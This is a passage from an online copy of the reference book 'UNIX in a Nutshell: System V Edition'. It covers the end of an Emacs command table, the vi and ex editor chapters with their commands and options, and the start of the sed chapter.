set-fill-prefix | C-x . | Prepend each line in paragraph with characters from beginning of line up to cursor column; cancel prefix by typing this command in column 1.
set-mark-command | C-@ or C-SPACE | Mark the beginning (or end) of a region.
shell-send-eof | C-c C-d | End of file character.
shrink-window | (none) | Make window shorter.
shrink-window-horizontally | C-x { | Make window narrower.
spell-buffer | (none) | Check spelling of current buffer.
spell-region | (none) | Check spelling of current region.
spell-string | (none) | Check spelling of string typed in minibuffer.
spell-word | M-$ | Check spelling of word after cursor.
split-line | M-C-o | Split line at cursor; indent to column of cursor.
split-window-horizontally | C-x 2 | Divide current window horizontally into two.
split-window-vertically | C-x 5 | Divide current window vertically into two.
start-kbd-macro | C-u C-x ( | Execute last macro defined, then add keystrokes to it.
start-kbd-macro | C-x ( | Start macro definition.
stop-shell-subjob | C-c C-z | Suspend current job.
suspend-emacs | C-z | Suspend emacs (use exit or fg to restart).
switch-to-buffer | C-x b | Move to the buffer specified.
switch-to-buffer-other- window | C-x 4 b | Select a buffer in the other window.
text-mode | (none) | Exit indented text mode; return to text mode.
transpose-chars | C-t | Transpose two letters.
transpose-lines | C-x C-t | Transpose two lines.
transpose-paragraphs | (none) | Transpose two paragraphs.
transpose-sentences | (none) | Transpose two sentences.
transpose-words | M-t | Transpose two words.
unexpand-abbrev | (none) | Undo the last word abbreviation.
universal-argument | C-u n | Repeat the next command n times.
upcase-region | C-x C-u | Uppercase region.
upcase-word | M-u | Uppercase word.
view-emacs-news | C-h n | View news about updates to emacs.
view-lossage | C-h l | What are the last 100 characters I typed?
where-is | C-h w | What is the key binding for this command?
write-abbrev-file | (none) | Write the word abbreviation file.
write-file | C-x C-w | Write buffer contents to file.
yank | C-y | Restore what you've deleted.

Previous: 7.3 Summary of Commands by Key | UNIX in a Nutshell: System V Edition | Next: 8. The Vi Editor
7.3 Summary of Commands by Key | Book Index | 8. The Vi Editor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] The Vi Editor

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 7.4 Summary of Commands by Name Chapter 8 Next: 8.2 Movement Commands

8. The Vi Editor

Contents:
Review of Vi Operations
Movement Commands
Edit Commands
Saving and Exiting
Accessing Multiple Files
Interacting with UNIX
Macros
Miscellaneous Commands
Alphabetical List of Keys
Setting Up Vi

This section presents the following topics:

  • Review of vi operations

  • Movement commands

  • Edit commands

  • Saving and exiting

  • Accessing multiple files

  • Interacting with UNIX

  • Macros

  • Miscellaneous commands

  • Alphabetical list of keys

  • Setting up vi

8.1 Review of Vi Operations

This subsection provides a review of the following:

  • Command-line syntax

  • Vi modes

  • Syntax of vi commands

  • Status-line commands

For more information on vi, refer to the Nutshell Handbook Learning the vi Editor.

8.1.1 Command-line Syntax

The three most common ways of starting a vi session are:

vi file vi +n file vi +/pattern file

You can open file for editing, optionally at line n or at the first line matching pattern. If no file is specified, vi opens with an empty buffer. See Section 2 for more information on command-line options for vi.

8.1.2 Command Mode

Once the file is opened, you are in command mode. From command mode, you can:

  • Invoke insert mode

  • Issue editing commands

  • Move the cursor to a different position in the file

  • Invoke ex commands

  • Invoke a UNIX shell

  • Save or exit the current version of the file

8.1.3 Insert Mode

In insert mode, you can enter new text in the file. Press the ESCAPE key to exit insert mode and return to command mode. The following commands invoke insert mode:

a | Append after cursor.
A | Append at end of line.
c | Begin change operation.
C | Change to end of line.
i | Insert before cursor.
I | Insert at beginning of line.
o | Open a line below current line.
O | Open a line above current line.
R | Begin overwriting text.
s | Substitute a character.
S | Substitute entire line.

8.1.4 Syntax of Vi Commands

In vi, commands have the following general form:

[n] operator [m] object

The basic editing operators are:

c | Begin a change.
d | Begin a deletion.
y | Begin a yank (or copy).

If the current line is the object of the operation, then the operator is the same as the object: cc, dd, yy. Otherwise, the editing operators act on objects specified by cursor-movement commands or pattern-matching commands. n and m are the number of times the operation is performed, or the number of objects the operation is performed on. If both n and m are specified, the effect is n X m.

An object can represent any of the following text blocks:

word | Includes characters up to a space or punctuation mark. A capitalized object is a variant form that recognizes only blank spaces.
sentence | Is up to ., !, ? followed by two spaces.
paragraph | Is up to next blank line or paragraph macro defined by para= option.
section | Is up to next section heading defined by sect= option.

8.1.4.1 Examples

2cw | Change the next two words.
d} | Delete up to next paragraph.
d^ | Delete back to beginning of line.
5yy | Copy the next five lines.
y]] | Copy up to the next section.

8.1.5 Status-line Commands

Most commands are not echoed on the screen as you input them. However, the status line at the bottom of the screen is used to echo input for the following commands:

/ | Search forward for a pattern.
? | Search backward for a pattern.
: | Invoke an ex command.
! | Invoke a UNIX command that takes as its input an object in the buffer and replaces it with output from the command.

Commands that are input on the status line must be entered by pressing the RETURN key. In addition, error messages and output from the CTRL-G command are displayed on the status line.

Previous: 7.4 Summary of Commands by Name | UNIX in a Nutshell: System V Edition | Next: 8.2 Movement Commands
7.4 Summary of Commands by Name | Book Index | 8.2 Movement Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.2 Movement Commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 8.1 Review of Vi Operations Chapter 8
The Vi Editor 		Next: 8.3 Edit Commands

8.2 Movement Commands

A number preceding a command repeats the movement. Movement commands are also objects for change, delete, and yank operations.

8.2.1 Character

h, j, k, l | Left, down, up, right (<-, -v , [image] , ->).
SPACEBAR | Right.

8.2.2 Text

w, W, b, B | Forward, backward by word.
e, E | End of word.
), ( | Beginning of next, current sentence.
}, { | Beginning of next, current paragraph.
]], [[ | Beginning of next, current section.

8.2.3 Lines

0, $ | First, last position of current line.
^ | First nonblank character of current line.
+, - | First character of next, previous line.
RETURN | First character of next line.
n| | Column n of current line.
H | Top line of screen.
M | Middle line of screen.
L | Last line of screen.
nH | n lines after top line.
nL | n lines before last line.

8.2.4 Screens

CTRL-F, CTRL-B | Scroll forward, backward one screen.
CTRL-D, CTRL-U | Scroll down, up one-half screen.
CTRL-E, CTRL-Y | Show one more line at bottom, top of window.
z RETURN | Reposition line with cursor: to top of screen.
z. | Reposition line with cursor: to middle of screen.
z- | Reposition line with cursor: to bottom of screen.
CTRL-L, CTRL-R | Redraw screen (without scrolling).

8.2.5 Searches

/text | Search forward for text.
n | Repeat previous search.
N | Repeat search in opposite direction.
/ | Repeat forward search.
? | Repeat previous search backward.
?text | Search backward for text.
/text/+n | Go to line n after text.
?text?-n | Go to line n before text.
% | Find match of current parenthesis, brace, or bracket.
fx | Move search forward to x on current line.
Fx | Move search backward to x on current line.
tx | Search forward before x in current line.
Tx | Search back after x in current line.
, | Reverse search direction of last f, F, t, or T.
; | Repeat last character search (f, F, t, or T).

8.2.6 Line Numbering

CTRL-G | Display current line number.
nG | Move to line number n.
G | Move to last line in file.
:n | Move to line number n.

8.2.7 Marking Position

mx | Mark current position with character x.
`x | Move cursor to mark x.
'x | Move to start of line containing x.
`` | Return to previous mark (or to location prior to a search).
'' | Like above, but return to start of line.

Previous: 8.1 Review of Vi Operations | UNIX in a Nutshell: System V Edition | Next: 8.3 Edit Commands
8.1 Review of Vi Operations | Book Index | 8.3 Edit Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.3 Edit Commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 8.2 Movement Commands Chapter 8
The Vi Editor 		Next: 8.4 Saving and Exiting

8.3 Edit Commands

Recall that c, d, and y are the basic editing operators.

8.3.1 Inserting New Text

a | Append after cursor.
A | Append to end of line.
i | Insert before cursor.
I | Insert at beginning of line.
o | Open a line below cursor.
O | Open a line above cursor.
ESC | Terminate insert mode.
CTRL-J | Move down one line.
RETURN | Move down one line.
CTRL-I | Insert a tab.
CTRL-T | Move to next tab setting.
BACKSPACE | Move back one character.
CTRL-H | Move back one character.
CTRL-U | Delete current line.
CTRL-V | Quote next character.
CTRL-W | Move back one word.

The last four control characters are set by stty. Your terminal settings may differ.

8.3.2 Changing and Deleting Text

cw | Change word.
cc | Change line.
C | Change text from current position to end of line.
dd | Delete current line.
ndd | Delete n lines.
D | Delete remainder of line.
dw | Delete a word.
d} | Delete up to next paragraph.
d^ | Delete back to beginning of line.
d/pat | Delete up to first occurrence of pattern.
dn | Delete up to next occurrence of pattern.
dfa | Delete up to and including a on current line.
dta | Delete up to (not including) a on current line.
dL | Delete up to last line on screen.
dG | Delete to end of file.
p | Insert last deleted text after cursor.
P | Insert last deleted text before cursor.
rx | Replace character with x.
Rtext | Replace text beginning at cursor.
s | Substitute character.
4s | Substitute four characters.
S | Substitute entire line.
u | Undo last change.
U | Restore current line.
x | Delete current cursor position.
X | Delete back one character.
5X | Delete previous five characters.
. | Repeat last change.
~ | Reverse case.

8.3.3 Copying and Moving

Y | Copy current line to new buffer.
yy | Copy current line.
"xyy | Yank current line to buffer x.
"xd | Delete into buffer x.
"Xd | Delete and append into buffer x.
"xp | Put contents of buffer x.
y]] | Copy up to next section heading.
ye | Copy to end of word.

Previous: 8.2 Movement Commands | UNIX in a Nutshell: System V Edition | Next: 8.4 Saving and Exiting
8.2 Movement Commands | Book Index | 8.4 Saving and Exiting
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.4 Saving and Exiting

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 8.3 Edit Commands Chapter 8
The Vi Editor 		Next: 8.5 Accessing Multiple Files

8.4 Saving and Exiting

Writing a file means saving the edits and updating the file's modification time.

ZZ | Quit vi, writing the file only if changes were made.
:x | Same as ZZ.
:wq | Write and quit file.
:w | Write file.
:w file | Save copy to file.
:n1,n2w file | Write lines n1 to n2 to new file.
:n1,n2w >> file | Append lines n1 to n2 to existing file.
:w! | Write file (overriding protection).
:w! file | Overwrite file with current buffer.
:w %.new | Write current buffer named file as file.new.
:q | Quit file.
:q! | Quit file (discarding edits).
Q | Quit vi and invoke ex.
:vi | Return to vi after Q command.
:e file2 | Edit file2 without leaving vi.
:n | Edit next file.
:e! | Return to version of current file at time of last write.
:e# | Edit alternate file.
% | Current filename.
# | Alternate filename.

Previous: 8.3 Edit Commands | UNIX in a Nutshell: System V Edition | Next: 8.5 Accessing Multiple Files
8.3 Edit Commands | Book Index | 8.5 Accessing Multiple Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.5 Accessing Multiple Files

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 8.4 Saving and Exiting Chapter 8
The Vi Editor 		Next: 8.6 Interacting with UNIX

8.5 Accessing Multiple Files

:e file | Edit another file; current file becomes alternate.
:e! | Restore last saved version of current file.
:e + file | Begin editing at end of file.
:e +n file | Open file at line n.
:e # | Open to previous position in alternate file.
:ta tag | Edit file at location tag.
:n | Edit next file.
:n! | Forces next file.
:n files | Specify new list of files.
CTRL-G | Show current file and line number.
:args | Display multiple files to be edited.
:rew | Rewind list of multiple files to top.

Previous: 8.4 Saving and Exiting | UNIX in a Nutshell: System V Edition | Next: 8.6 Interacting with UNIX
8.4 Saving and Exiting | Book Index | 8.6 Interacting with UNIX
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.6 Interacting with UNIX

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 8.5 Accessing Multiple Files Chapter 8
The Vi Editor 		Next: 8.7 Macros

8.6 Interacting with UNIX

:r file | Read in contents of file after cursor.
:r !command | Read in output from command after current line.
:nr !command | Like above, but place after line n (0 for top of file).
:!command | Run command, then return.
!object command | Send buffer object to UNIX command; replace with output.
:n1,n2! command | Send lines n1 -n2 to command; replace with output.
n!!command | Send n lines to UNIX command; replace with output.
!! | Repeat last system command.
:sh | Create subshell; return to file with EOF.
CTRL-Z | Suspend editor, resume with fg (not in all versions).
:so file | Read and execute commands from file.

Previous: 8.5 Accessing Multiple Files | UNIX in a Nutshell: System V Edition | Next: 8.7 Macros
8.5 Accessing Multiple Files | Book Index | 8.7 Macros
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.7 Macros

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 8.6 Interacting with UNIX Chapter 8
The Vi Editor 		Next: 8.8 Miscellaneous Commands

8.7 Macros

:ab in out |
Use in as abbreviation for out. :unab in | Remove abbreviation for in.
:ab | List abbreviations.
:map c sequence | Map character c as sequence of commands.
:unmap c | Disable map for character c.
:map | List characters that are mapped.
:map! c sequence | Map character c to input mode sequence.
:unmap! c | Disable input mode map (you may need to quote the character with CTRL-V).
:map! | List characters that are mapped to input mode.

The following characters are unused in command mode and can be mapped as user-defined commands.

Letters:

g K q V v

Control keys:

^A ^K ^O ^T ^W ^X

Symbols:

_ * \ =

(Note: The = is used by vi if Lisp mode is set.)

Previous: 8.6 Interacting with UNIX | UNIX in a Nutshell: System V Edition | Next: 8.8 Miscellaneous Commands
8.6 Interacting with UNIX | Book Index | 8.8 Miscellaneous Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.8 Miscellaneous Commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 8.7 Macros Chapter 8
The Vi Editor 		Next: 8.9 Alphabetical List of Keys

8.8 Miscellaneous Commands

J | Join two lines.
:j! | Join two lines, preserving blank spaces.
<< | Shift this line left one shift width (default is 8 spaces).
>> | Shift this line right one shift width (default is 8 spaces).
>} | Shift right to end of paragraph.
<% | Shift left until matching parenthesis, brace, bracket, etc. (Cursor must be on the matching symbol.)

Previous: 8.7 Macros | UNIX in a Nutshell: System V Edition | Next: 8.9 Alphabetical List of Keys
8.7 Macros | Book Index | 8.9 Alphabetical List of Keys
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.9 Alphabetical List of Keys

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 8.8 Miscellaneous Commands Chapter 8
The Vi Editor 		Next: 8.10 Setting Up Vi

8.9 Alphabetical List of Keys

For brevity, control characters are marked by ^.

a | Append text after cursor.
A | Append text at end of line.
^A | Unused.
b | Back up to beginning of word in current line.
B | Back up to word, ignoring punctuation.
^B | Scroll backward one window.
c | Change operator.
C | Change to end of current line.
^C | Unused in command mode; ends insert mode.
d | Delete operator.
D | Delete to end of current line.
^D | Scroll down half-window.
e | Move to end of word.
E | Move to end of word, ignoring punctuation.
^E | Show one more line at bottom of window.
f | Find next character typed forward on current line.
F | Find next character typed backward on current line.
^F | Scroll forward one window.
g | Unused.
G | Go to specified line or end of file.
^G | Print information about file on status line.
h | Left arrow cursor key.
H | Move cursor to Home position.
^H | Left arrow cursor key; Backspace key in insert mode.
i | Insert text before cursor.
I | Insert text before first nonblank character on line.
^I | Unused in command mode; in insert mode, same as TAB key.
j | Down arrow cursor key.
J | Join two lines.
^J | Down arrow cursor key; in insert mode, move down a line.
k | Up arrow cursor key.
K | Unused.
^K | Unused.
l | Right arrow cursor key.
L | Move cursor to Last position in window.
^L | Redraw screen.
m | Mark the current cursor position in register (a-z).
M | Move cursor to Middle position in window.
^M | Carriage return.
n | Repeat the last search command.
N | Repeat the last search command in reverse direction.
^N | Down arrow cursor key.
o | Open line below current line.
O | Open line above current line.
^O | Unused.
p | Put yanked or deleted text after or below cursor.
P | Put yanked or deleted text before or above cursor.
^P | Up arrow cursor key.
q | Unused.
Q | Quit vi and invoke ex.
^Q | Unused (on some terminals, resume data flow).
r | Replace character at cursor with the next character you type.
R | Replace characters.
^R | Redraw the screen.
s | Change the character under the cursor to typed characters.
S | Change entire line.
^S | Unused (on some terminals, stop data flow).
t | Move cursor forward to character before next character typed.
T | Move cursor backward to character after next character typed.
^T | Unused in command mode; in insert mode, use if autoindent is set.
u | Undo the last change made.
U | Restore current line, discarding changes.
^U | Scroll the screen upward half-window.
v | Unused.
V | Unused.
^V | Unused in command mode; in insert mode, quote next character.
w | Move to beginning of next word.
W | Move to beginning of next word, ignoring punctuation.
^W | Unused in command mode; in insert mode, back up to beginning of word.
x | Delete character under cursor.
X | Delete character before cursor.
^X | Unused.
y | Yank or copy operator.
Y | Make copy of current line.
^Y | Show one more line at top of window.
z | Reposition line containing cursor. z must be followed either by: RETURN (reposition line to top of screen), . (reposition line to middle of screen), or - (reposition line to bottom of screen).
ZZ | Exit the editor, saving changes.
^Z | Suspend vi (only on systems that have job control).

Previous: 8.8 Miscellaneous Commands | UNIX in a Nutshell: System V Edition | Next: 8.10 Setting Up Vi
8.8 Miscellaneous Commands | Book Index | 8.10 Setting Up Vi
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 8] 8.10 Setting Up Vi

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 8.9 Alphabetical List of Keys Chapter 8
The Vi Editor 		Next: 9. The Ex Editor

8.10 Setting Up Vi

This subsection describes the following:

  • The :set command

  • Options available with :set

  • Example .exrc file

8.10.1 The :set Command

The :set command allows you to specify options that change characteristics of your editing environment. Options may be put in the .exrc file or set during a vi session.

The colon should not be typed if the command is put in .exrc.

:set x | Enable option x.
:set nox | Disable option x.
:set x=val | Give value to optionx.
:set | Show changed options.
:set all | Show all options.
:set x? | Show value of option x.

8.10.2 Options Used by :set

The following table describes the options to :set. The first column includes the optional abbreviation, if there is one, and uses an equal sign to show that the option takes a value. The second column gives the default, and the third column describes the behavior of the enabled option.

Option | Default | Description
autoindent (ai) | noai | In insert mode, indent each line to the same level as the line above or below. Use with shiftwidth option.
autoprint (ap) | ap | Display changes after each editor command. (For global replacement, display last replacement.)
autowrite (aw) | noaw | Automatically write (save) file if changed before opening another file with :n or before giving UNIX command with :!.
beautify (bf) | nobf | Ignore all control characters during input (except tab, newline, or formfeed).
directory= (dir) | /tmp | Name the directory in which ex stores buffer files. (Directory must be writable.)
edcompatible | noed-compatible | Use ed-like features on substitute commands.
errorbells (eb) | errorbells | Sound bell when an error occurs.
exrc (ex) | noexrc | Allow the execution of .exrc files that reside outside the user's home directory.
hardtabs= (ht) | 8 | Define boundaries for terminal hardware tabs.
ignorecase (ic) | noic | Disregard case during a search.
lisp | nolisp | Insert indents in appropriate lisp format. ( ), { }, [[, and ]] are modified to have meaning for lisp.
list | nolist | Print tabs as ^I; mark ends of lines with $. (Use list to tell if end character is a tab or a space.)
magic | magic | Wildcard characters . (dot), * (asterisk), and [ ] (brackets) have special meaning in patterns.
mesg | mesg | Permit system messages to display on terminal while editing in vi.
number (nu) | nonu | Display line numbers on left of screen during editing session.
open | open | Allow entry to open mode from ex.
optimize (opt) | noopt | Abolish carriage returns at the end of lines when printing multiple lines, speeds output on dumb terminals when printing lines with leading white space (blanks or tabs).
paragraphs= (para> | IPLPPPQP LIpplpipbp | Define paragraph delimiters for movement by { or }. The pairs of characters in the value are the names of nroff/troff macros that begin paragraphs.
prompt | prompt | Display the ex prompt (:) when vi's Q command is given.
readonly (ro) | noro | Any writes (saves) of a file will fail unless you use ! after the write (works with w, ZZ, or autowrite).
redraw (re) | noredraw | Terminal redraws screen whenever edits are made (in other words, insert mode pushes over existing characters, and deleted lines immediately close up). Default depends on line speed and terminal type. noredraw is useful at slow speeds on a dumb terminal: deleted lines show up as , and inserted text appears to overwrite existing text until you press ESC.
remap | remap | Allow nested map sequences.
report= | 5 | Display a message on the prompt line whenever you make an edit that affects at least a certain number of lines. For example, 6dd reports the message "6 lines deleted."
scroll= | <1/2 window> | Amount of screen to scroll.
sections= (sect) | SHNHH HU | Define section delimiters for [[ ]] movement. The pairs of characters in the value are the names of nroff/troff macros that begin sections.
shell= (sh) | /bin/sh | Pathname of shell used for shell escape (:!) and shell command (:sh). Default value is derived from SHELL variable, which varies on different systems.
shiftwidth= (sw) | 8 | Define number of spaces in backward (^D) tabs when using the autoindent option.
showmatch (sm) | nosm | In vi, when ) or } is entered, cursor moves briefly to matching ( or {. (If match is not on the screen, rings the error message bell.) Very useful for programming.
showmode | noshowmode | In insert mode, displays a message on the prompt line indicating the type of insert you are making. For example, "Open Mode," or "Append Mode."
slowopen (slow) |  | Hold off display during insert. Default depends on line speed and terminal type.
tabstop= (ts) | 8 | Define number of spaces that a TAB indents during editing session. (Printer still uses system tab of 8.)
taglength= (tl) | 0 | Define number of characters that are significant for tags. Default (zero) means that all characters are significant.
tags= /usr/lib/tags | tags | Define pathname of files containing tags (see the UNIX ctags command.) By default, the system looks for files tags (in the current directory) and /usr/lib/tags.
term= |  | Set terminal type.
terse | noterse | Display shorter error messages.
timeout (to) | timeout | Keyboard maps "time out" after 1 second.
ttytype= |  | Set terminal type.
warn | warn | Display the message, "No write since last change."
window= (w) |  | Show a certain number of lines of the file on the screen. Default depends on line speed and terminal type.
wrapmargin= (wm) | 0 | Define right margin. If greater than zero, automatically inserts carriage returns to break lines.
wrapscan (ws) | ws | Searches wrap around either end of file.
writeany (wa) | nowa | Allow saving to any file.

8.10.3 Example .exrc File

set nowrapscan wrapmargin=7
set sections=SeAhBhChDh nomesg
map q :w^M:n^M
map v dwElp
ab ORA O'Reilly & Associates, Inc.

Previous: 8.9 Alphabetical List of Keys | UNIX in a Nutshell: System V Edition | Next: 9. The Ex Editor
8.9 Alphabetical List of Keys | Book Index | 9. The Ex Editor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] The Ex Editor

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 8.10 Setting Up Vi Chapter 9 Next: 9.2 Alphabetical Summary of Ex Commands

9. The Ex Editor

Contents:
Syntax of Ex Commands
Alphabetical Summary of Ex Commands

Ex is a line editor that serves as the foundation for the screen editor vi. Ex commands work on the current line or on a range of lines in a file. Most often, you use ex from within vi. In vi, ex commands are preceded by a colon and entered by pressing RETURN.

But you can invoke ex on its own-from the command line-just as you would invoke vi. (You could execute an ex script this way.) You can also use the vi command Q to quit the vi editor and enter ex.

This section presents the following topics:

  • Syntax of ex commands

  • Alphabetical summary of commands

For more information, see the Nutshell Handbook Learning the vi Editor.

9.1 Syntax of Ex Commands

To enter an ex command from vi, type:

:[address] command [options]

An initial : indicates an ex command. As you type the command, it is echoed on the status line. Enter the command by pressing RETURN. address is the line number or range of lines that are the object of command. options and addresses are described below. Ex commands are described in the alphabetical summary.

You can exit ex in several ways:

:x

Exit (save changes and quit).

:q!

Quit without saving changes.

:vi

Quit and enter the vi editor.

9.1.1 Options

!

Indicates a variant command form, overriding the normal behavior.

count

The number of times the command is to be repeated. Unlike in vi commands, count cannot precede the command, because a number preceding an ex command is treated as a line address. For example, d3 deletes three lines beginning with the current line; 3d deletes line 3.

file

The name of a file that is affected by the command. % stands for current file; # stands for previous file.

9.1.2 Addresses

If no address is given, the current line is the object of the command. If the address specifies a range of lines, the format is:

x,y

where x and y are the first and last addressed lines (x must precede y in the buffer). x and y may be a line number or a symbol. Using ; instead of , sets the current line to x before interpreting y. The notation 1,$ addresses all lines in the file, as does %.

9.1.3 Address Symbols

1,$ | All lines in the file.
% | All lines; same as 1,$.
x,y | Lines x through y.
x;y | Lines x through y, with current line reset to x.
0 | Top of file.
. | Current line.
n | Absolute line number n.
$ | Last line.
x-n | n lines before x.
x+n | n lines after x.
-[n] | One or n lines previous.
+[n] | One or n lines ahead.
'x | Line marked with x.
'' | Previous mark.
/pattern/ | Forward to line matching pattern.
?pattern? | Backward to line matching pattern.

See Section 6 for more information on using patterns.

Previous: 8.10 Setting Up Vi | UNIX in a Nutshell: System V Edition | Next: 9.2 Alphabetical Summary of Ex Commands
8.10 Setting Up Vi | Book Index | 9.2 Alphabetical Summary of Ex Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 9] 9.2 Alphabetical Summary of Ex Commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 9.1 Syntax of Ex Commands Chapter 9
The Ex Editor 		Next: 10. The Sed Editor

9.2 Alphabetical Summary of Ex Commands

Ex commands can be entered by specifying any unique abbreviation. In this listing, the full name appears in the margin, and the shortest possible abbreviation is used in the syntax line. Examples are assumed to be typed from vi, so they include the : prompt.

  • abbrev
  • append
  • args
  • change
  • copy
  • delete
  • edit
  • file
  • global
  • insert
  • join
  • k
  • list
  • map
  • mark
  • move
  • next
  • number
  • open
  • preserve
  • print
  • put
  • quit
  • read
  • read
  • recover
  • rewind
  • set
  • shell
  • source
  • substitute
  • t
  • tag
  • unabbreviate
  • undo
  • unmap
  • v
  • version
  • visual
  • visual
  • write
  • write
  • wq
  • xit
  • yank
  • z
  • !
  • =
  • < >
  • address
  • RETURN
  • &
  • ~

Previous: 9.1 Syntax of Ex Commands | UNIX in a Nutshell: System V Edition | Next: 10. The Sed Editor
9.1 Syntax of Ex Commands | Book Index | 10. The Sed Editor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] The Sed Editor

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 9.2 Alphabetical Summary of Ex Commands Chapter 10 Next: 10.2 Conceptual Overview

10. The Sed Editor

Contents:
Command-line Syntax
Conceptual Overview
Syntax of Sed Commands
Group Summary of Sed Commands
Alphabetical Summary of Sed Commands

This section presents the following topics:

  • Command-line syntax

  • Conceptual overview of sed

  • Syntax of sed commands

  • Group summary of sed commands

  • Alphabetical summary of sed commands

For more information, see the Nutshell Handbook sed & awk.

10.1 Command-line Syntax

The syntax for invoking sed has two forms:

sed [options] 'command' file(s)

sed [options] -f scriptfile file(s)

The first form allows you to specify an editing command on the command line, surrounded by single quotes. The second form allows you to specify a scriptfile, a file containing sed commands. If no files are specified, sed reads from standard input.

The following options are recognized:

-n

Suppress the default output; sed displays only those lines specified with the p command, or with the p flag of the s command.

-e cmd

Next argument is an editing command; not needed unless specifying two or more editing commands.

-f file

Next argument is a file containing editing commands.

Previous: 9.2 Alphabetical Summary of Ex Commands | UNIX in a Nutshell: System V Edition | Next: 10.2 Conceptual Overview
9.2 Alphabetical Summary of Ex Commands | Book Index | 10.2 Conceptual Overview
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.2 Conceptual Overview

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 10.1 Command-line Syntax Chapter 10
The Sed Editor 		Next: 10.3 Syntax of Sed Commands

10.2 Conceptual Overview

Sed is a non-interactive, or stream-oriented, editor. It interprets a script and performs the actions in the script. Sed is stream-oriented because, like many UNIX programs, input flows through the program and is directed to standard output. For example, sort is stream-oriented; vi is not. Sed's input typically comes from a file but can be directed from the keyboard. Output goes to the screen by default but can be captured in a file instead.

10.2.1 Typical Uses of Sed Include:

  • Editing one or more files automatically.

  • Simplifying repetitive edits to multiple files.

  • Writing conversion programs.

10.2.2 Sed Operates as Follows:

  • Each line of input is copied into a pattern space.

  • All editing commands in a sed script are applied in order to each line of input.

  • Editing commands are applied to all lines (globally) unless line addressing restricts the lines affected.

  • If a command changes the input, subsequent command-addresses will be applied to the current line in the pattern space, not the original input line.

  • The original input file is unchanged because the editing commands modify a copy of the original input line. The copy is sent to standard output (but can be redirected to a file).

Previous: 10.1 Command-line Syntax | UNIX in a Nutshell: System V Edition | Next: 10.3 Syntax of Sed Commands
10.1 Command-line Syntax | Book Index | 10.3 Syntax of Sed Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.3 Syntax of Sed Commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 10.2 Conceptual Overview Chapter 10
The Sed Editor 		Next: 10.4 Group Summary of Sed Commands

10.3 Syntax of Sed Commands

Sed commands have the general form:

[address][,address][!]command [arguments]

Sed commands consist of addresses and editing commands. commands consist of a single letter or symbol; they are described later, alphabetically and by group. arguments include the label supplied to b or t, the filename supplied to r or w, and the substitution flags for s. addresses are described below.

10.3.1 Pattern Addressing

